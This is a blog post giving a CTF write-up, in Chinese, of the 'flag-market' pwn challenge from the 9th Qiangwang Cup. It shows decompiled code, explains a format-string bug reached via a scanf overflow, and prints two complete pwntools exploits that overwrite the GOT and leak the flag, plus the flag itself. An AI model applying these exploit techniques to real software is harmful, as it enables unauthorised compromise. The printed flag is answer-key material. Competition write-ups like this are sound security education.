1841 words
9 minutes
Write-ups: 第九届「强网杯」全国网络安全挑战赛

flag-market#

Information#

  • Category: Pwn
  • Points: 500

Description#

flag 市场,童叟无欺

Write-up#

第一次打国赛,没想到能遇上一道我能做的题……呜呜呜太感动了(

逆向出来的代码就这么点:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int i; // [rsp+Ch] [rbp-84h]
int fd_log; // [rsp+14h] [rbp-7Ch]
FILE *flag_stream; // [rsp+18h] [rbp-78h]
char flag_filepath[9]; // [rsp+27h] [rbp-69h] BYREF
char buf[16]; // [rsp+30h] [rbp-60h] BYREF
char flag_buf[72]; // [rsp+40h] [rbp-50h] BYREF
unsigned __int64 v10; // [rsp+88h] [rbp-8h]
v10 = __readfsqword(0x28u);
init();
strcpy(flag_filepath, "/flag");
flag_stream = fopen(flag_filepath, "r");
is_flag_open = 1;
while ( 1 )
{
while ( 1 )
{
puts("welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit");
memset(buf, 0, sizeof(buf));
read(0, buf, 0x10u);
if ( atoi(buf) != 1 )
exit(0);
puts("how much you want to pay?");
memset(buf, 0, sizeof(buf));
read(0, buf, 0x10u);
if ( atoi(buf) == 0xFF )
break;
printf("You are so parsimonious!!!");
if ( is_flag_open )
{
fclose(flag_stream);
is_flag_open = 0;
}
}
puts(aThankYouForPay); // "Thank you for paying,let me give you flag: "
if ( !is_flag_open || !fgets(flag_buf, 64, flag_stream) )
break;
for ( i = 0; ; ++i )
{
if ( i > 64 )
{
puts("\nThank you for your patronage!");
return 0;
}
if ( flag_buf[i] == '{' )
break;
putchar(flag_buf[i]);
sleep(1u);
}
memset(flag_buf, 0, 0x40u);
puts(a1m31mError0mSo); // "\n\x1B[1m\x1B[31m==========error!!!========== \x1B[0m \nSorry, but maybe something wrong... \nyou can report it in user.log"
puts("opened user.log, please report:");
memset(
log_file_open_flags_input, // "everything is ok~"
0,
0x100u);
__isoc99_scanf("%s", log_file_open_flags_input);// "everything is ok~"
getchar();
fd_log = open("user.log", log_file_open_flags_input);// "everything is ok~"
write(
fd_log,
log_file_open_flags_input, // "everything is ok~"
0x100u);
puts(aOkNowYouCanExi); // "OK,now you can exit or try again."
}
puts("something is wrong");
return 0;
}

初看不难发现,scanf%s 是一个很明显的无限长度输入,后面的 open / write 则似乎是障眼法,因为无论哪个成立了都会导致另一个失败,并且调试发现 scanf 内部会破坏 RSI,所以 open 永远不会成功,且由于程序没有对它们的返回值做检查,所以会忽略错误继续执行,而不是 abort 。那难道就没有什么别的办法了吗?题目既然可以出出来,就一定能做……

其实细看的话可以发现,上面有个 printf 存在一个不怎么显眼的格式化字符串漏洞。由于 scanf 可以向 log_file_open_flags_input 写入无限长度数据覆盖 format 为自定义格式化字符串,因此当我们输入的金额不等于 0xff 的时候就可以触发格式化字符串漏洞了。

至于如何实现无限次格式化字符串,我这里是改了 exit 的 got entry 为 main 函数地址。

.data:00000000004040A0 ; ===========================================================================
.data:00000000004040A0
.data:00000000004040A0 ; Segment type: Pure data
.data:00000000004040A0 ; Segment permissions: Read/Write
.data:00000000004040A0 _data segment align_32 public 'DATA' use64
.data:00000000004040A0 assume cs:_data
.data:00000000004040A0 ;org 4040A0h
.data:00000000004040A0 align 40h
.data:00000000004040C0 ; int log_file_open_flags_input
.data:00000000004040C0 log_file_open_flags_input db 'everything is ok~',0
.data:00000000004040C0 ; DATA XREF: main+245↑o
.data:00000000004040C0 ; main+254↑o ...
237 collapsed lines
.data:00000000004040D2 db 0
.data:00000000004040D3 db 0
.data:00000000004040D4 db 0
.data:00000000004040D5 db 0
.data:00000000004040D6 db 0
.data:00000000004040D7 db 0
.data:00000000004040D8 db 0
.data:00000000004040D9 db 0
.data:00000000004040DA db 0
.data:00000000004040DB db 0
.data:00000000004040DC db 0
.data:00000000004040DD db 0
.data:00000000004040DE db 0
.data:00000000004040DF db 0
.data:00000000004040E0 db 0
.data:00000000004040E1 db 0
.data:00000000004040E2 db 0
.data:00000000004040E3 db 0
.data:00000000004040E4 db 0
.data:00000000004040E5 db 0
.data:00000000004040E6 db 0
.data:00000000004040E7 db 0
.data:00000000004040E8 db 0
.data:00000000004040E9 db 0
.data:00000000004040EA db 0
.data:00000000004040EB db 0
.data:00000000004040EC db 0
.data:00000000004040ED db 0
.data:00000000004040EE db 0
.data:00000000004040EF db 0
.data:00000000004040F0 db 0
.data:00000000004040F1 db 0
.data:00000000004040F2 db 0
.data:00000000004040F3 db 0
.data:00000000004040F4 db 0
.data:00000000004040F5 db 0
.data:00000000004040F6 db 0
.data:00000000004040F7 db 0
.data:00000000004040F8 db 0
.data:00000000004040F9 db 0
.data:00000000004040FA db 0
.data:00000000004040FB db 0
.data:00000000004040FC db 0
.data:00000000004040FD db 0
.data:00000000004040FE db 0
.data:00000000004040FF db 0
.data:0000000000404100 db 0
.data:0000000000404101 db 0
.data:0000000000404102 db 0
.data:0000000000404103 db 0
.data:0000000000404104 db 0
.data:0000000000404105 db 0
.data:0000000000404106 db 0
.data:0000000000404107 db 0
.data:0000000000404108 db 0
.data:0000000000404109 db 0
.data:000000000040410A db 0
.data:000000000040410B db 0
.data:000000000040410C db 0
.data:000000000040410D db 0
.data:000000000040410E db 0
.data:000000000040410F db 0
.data:0000000000404110 db 0
.data:0000000000404111 db 0
.data:0000000000404112 db 0
.data:0000000000404113 db 0
.data:0000000000404114 db 0
.data:0000000000404115 db 0
.data:0000000000404116 db 0
.data:0000000000404117 db 0
.data:0000000000404118 db 0
.data:0000000000404119 db 0
.data:000000000040411A db 0
.data:000000000040411B db 0
.data:000000000040411C db 0
.data:000000000040411D db 0
.data:000000000040411E db 0
.data:000000000040411F db 0
.data:0000000000404120 db 0
.data:0000000000404121 db 0
.data:0000000000404122 db 0
.data:0000000000404123 db 0
.data:0000000000404124 db 0
.data:0000000000404125 db 0
.data:0000000000404126 db 0
.data:0000000000404127 db 0
.data:0000000000404128 db 0
.data:0000000000404129 db 0
.data:000000000040412A db 0
.data:000000000040412B db 0
.data:000000000040412C db 0
.data:000000000040412D db 0
.data:000000000040412E db 0
.data:000000000040412F db 0
.data:0000000000404130 db 0
.data:0000000000404131 db 0
.data:0000000000404132 db 0
.data:0000000000404133 db 0
.data:0000000000404134 db 0
.data:0000000000404135 db 0
.data:0000000000404136 db 0
.data:0000000000404137 db 0
.data:0000000000404138 db 0
.data:0000000000404139 db 0
.data:000000000040413A db 0
.data:000000000040413B db 0
.data:000000000040413C db 0
.data:000000000040413D db 0
.data:000000000040413E db 0
.data:000000000040413F db 0
.data:0000000000404140 db 0
.data:0000000000404141 db 0
.data:0000000000404142 db 0
.data:0000000000404143 db 0
.data:0000000000404144 db 0
.data:0000000000404145 db 0
.data:0000000000404146 db 0
.data:0000000000404147 db 0
.data:0000000000404148 db 0
.data:0000000000404149 db 0
.data:000000000040414A db 0
.data:000000000040414B db 0
.data:000000000040414C db 0
.data:000000000040414D db 0
.data:000000000040414E db 0
.data:000000000040414F db 0
.data:0000000000404150 db 0
.data:0000000000404151 db 0
.data:0000000000404152 db 0
.data:0000000000404153 db 0
.data:0000000000404154 db 0
.data:0000000000404155 db 0
.data:0000000000404156 db 0
.data:0000000000404157 db 0
.data:0000000000404158 db 0
.data:0000000000404159 db 0
.data:000000000040415A db 0
.data:000000000040415B db 0
.data:000000000040415C db 0
.data:000000000040415D db 0
.data:000000000040415E db 0
.data:000000000040415F db 0
.data:0000000000404160 db 0
.data:0000000000404161 db 0
.data:0000000000404162 db 0
.data:0000000000404163 db 0
.data:0000000000404164 db 0
.data:0000000000404165 db 0
.data:0000000000404166 db 0
.data:0000000000404167 db 0
.data:0000000000404168 db 0
.data:0000000000404169 db 0
.data:000000000040416A db 0
.data:000000000040416B db 0
.data:000000000040416C db 0
.data:000000000040416D db 0
.data:000000000040416E db 0
.data:000000000040416F db 0
.data:0000000000404170 db 0
.data:0000000000404171 db 0
.data:0000000000404172 db 0
.data:0000000000404173 db 0
.data:0000000000404174 db 0
.data:0000000000404175 db 0
.data:0000000000404176 db 0
.data:0000000000404177 db 0
.data:0000000000404178 db 0
.data:0000000000404179 db 0
.data:000000000040417A db 0
.data:000000000040417B db 0
.data:000000000040417C db 0
.data:000000000040417D db 0
.data:000000000040417E db 0
.data:000000000040417F db 0
.data:0000000000404180 db 0
.data:0000000000404181 db 0
.data:0000000000404182 db 0
.data:0000000000404183 db 0
.data:0000000000404184 db 0
.data:0000000000404185 db 0
.data:0000000000404186 db 0
.data:0000000000404187 db 0
.data:0000000000404188 db 0
.data:0000000000404189 db 0
.data:000000000040418A db 0
.data:000000000040418B db 0
.data:000000000040418C db 0
.data:000000000040418D db 0
.data:000000000040418E db 0
.data:000000000040418F db 0
.data:0000000000404190 db 0
.data:0000000000404191 db 0
.data:0000000000404192 db 0
.data:0000000000404193 db 0
.data:0000000000404194 db 0
.data:0000000000404195 db 0
.data:0000000000404196 db 0
.data:0000000000404197 db 0
.data:0000000000404198 db 0
.data:0000000000404199 db 0
.data:000000000040419A db 0
.data:000000000040419B db 0
.data:000000000040419C db 0
.data:000000000040419D db 0
.data:000000000040419E db 0
.data:000000000040419F db 0
.data:00000000004041A0 db 0
.data:00000000004041A1 db 0
.data:00000000004041A2 db 0
.data:00000000004041A3 db 0
.data:00000000004041A4 db 0
.data:00000000004041A5 db 0
.data:00000000004041A6 db 0
.data:00000000004041A7 db 0
.data:00000000004041A8 db 0
.data:00000000004041A9 db 0
.data:00000000004041AA db 0
.data:00000000004041AB db 0
.data:00000000004041AC db 0
.data:00000000004041AD db 0
.data:00000000004041AE db 0
.data:00000000004041AF db 0
.data:00000000004041B0 db 0
.data:00000000004041B1 db 0
.data:00000000004041B2 db 0
.data:00000000004041B3 db 0
.data:00000000004041B4 db 0
.data:00000000004041B5 db 0
.data:00000000004041B6 db 0
.data:00000000004041B7 db 0
.data:00000000004041B8 db 0
.data:00000000004041B9 db 0
.data:00000000004041BA db 0
.data:00000000004041BB db 0
.data:00000000004041BC db 0
.data:00000000004041BD db 0
.data:00000000004041BE db 0
.data:00000000004041BF db 0
.data:00000000004041C0 ; char format[]
.data:00000000004041C0 format db 'You are so parsimonious!!!',0
.data:00000000004041C0 ; DATA XREF: main+112↑o
.data:00000000004041DB align 20h
.data:00000000004041E0 ; char aThankYouForPay[]
.data:00000000004041E0 aThankYouForPay db 'Thank you for paying,let me give you flag: ',0
.data:00000000004041E0 ; DATA XREF: main:loc_4014EA↑o
.data:000000000040420C align 20h
.data:0000000000404220 ; char a1m31mError0mSo[]
.data:0000000000404220 a1m31mError0mSo db 0Ah ; DATA XREF: main+21D↑o
.data:0000000000404221 db 1Bh,'[1m',1Bh,'[31m==========error!!!========== ',1Bh,'[0m ',0Ah
.data:000000000040424D db 'Sorry, but maybe something wrong... ',0Ah
.data:0000000000404272 db 'you can report it in user.log',0
.data:0000000000404290 align 20h
.data:00000000004042A0 ; char aOkNowYouCanExi[]
.data:00000000004042A0 aOkNowYouCanExi db 'OK,now you can exit or try again.',0
.data:00000000004042A0 ; DATA XREF: main+2A7↑o
.data:00000000004042A0 _data ends
.data:00000000004042A0

下面我写了两个 exp,第一个的思路是改 memsetret 让它不要清空 flag,然后用 %p 输出,但是发现只有本地能通,远程不知道为啥不行,然后换了一种打法,fopen 会返回一个 FILE 结构体,之后 fgets 会在里面放一些地址,这其中就有 flag 的 stream buf 起始地址,我们把 fopen 返回的地址泄漏,算一下它和 flag stream buf 的偏移,发现此值固定,得到 flag 地址后写到栈上,用 %s 输出就好了。

Exploit I#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./patched"
HOST, PORT = "8.147.135.220", 24630
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def lehex_to_ascii(s: str) -> str:
parts = s.strip().split("-")
out = bytearray()
for p in parts:
p = p.strip()
if not p:
continue
h = p[2:] if p.startswith(("0x", "0X")) else p
h = h.strip()
if len(h) % 2: # pad odd-length hex
h = "0" + h
out += bytes.fromhex(h)[::-1]
return out.rstrip(b"\x00").decode("ascii", errors="replace")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
target.sendlineafter(b"2.exit", b"1")
target.sendlineafter(b"pay?\x0a", b"255")
payload = flat(
b"A" * 0x100,
b"%5019c%12$hn",
)
target.sendlineafter(b"report:", payload)
target.sendlineafter(b"2.exit", b"1")
# raw_input("DEBUG")
target.sendlineafter(b"pay?\x0a", flat(elf.got["exit"]))
# raw_input("DEBUG")
target.sendlineafter(b"2.exit", b"2")
target.sendlineafter(b"2.exit", b"1")
target.sendlineafter(b"pay?\x0a", b"255")
payload = flat(
b"A" * 0x100,
b"%173c%12$hhn",
)
target.sendlineafter(b"report:", payload)
target.sendlineafter(b"2.exit", b"1")
# raw_input("DEBUG")
target.sendlineafter(b"pay?\x0a", flat(elf.got["memset"]))
# raw_input("DEBUG")
target.sendlineafter(b"2.exit", b"2")
target.sendlineafter(b"2.exit", b"1")
target.sendlineafter(b"pay?\x0a", b"255")
payload = flat(
b"A" * 0x100,
b"%14$p-%15$p-%16$p-%17$p-%18$p-%19$p",
)
target.sendlineafter(b"report:", payload)
target.sendlineafter(b"2.exit", b"1")
target.sendlineafter(b"pay?\x0a", b"0")
flag = target.recvuntil(b"welcome")[:-7]
target.success(lehex_to_ascii(flag.decode()))
target.interactive()
if __name__ == "__main__":
main()

Exploit II#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./patched"
HOST, PORT = "8.147.135.220", 24630
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
target.sendlineafter(b"2.exit", b"1")
target.sendlineafter(b"pay?\x0a", b"255")
payload = flat(
b"A" * 0x100,
b"%9$p%5009c%12$hn",
)
target.sendlineafter(b"report:", payload)
target.sendlineafter(b"2.exit", b"1")
# raw_input("DEBUG")
target.sendlineafter(b"pay?\x0a", flat(elf.got["exit"]))
flag = int(target.recv(0xA), 16) + 0x1E0
target.success(f"flag: {hex(flag)}")
# raw_input("DEBUG")
target.sendlineafter(b"2.exit", b"2")
raw_input("DEBUG")
target.sendlineafter(b"2.exit", b"1")
target.sendlineafter(b"pay?\x0a", b"255")
payload = flat(
b"A" * 0x100,
b"%12$s",
)
target.sendlineafter(b"report:", payload)
target.sendlineafter(b"exit", b"1")
target.sendlineafter(b"pay?\x0a", flat(flag))
target.interactive()
if __name__ == "__main__":
main()

Flag#

flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}

Write-ups: 第九届「强网杯」全国网络安全挑战赛
https://cubeyond.net/posts/write-ups/2025-强网杯-s9/
Author
CuB3y0nd
Published at
2025-10-19
License
CC BY-NC-SA 4.0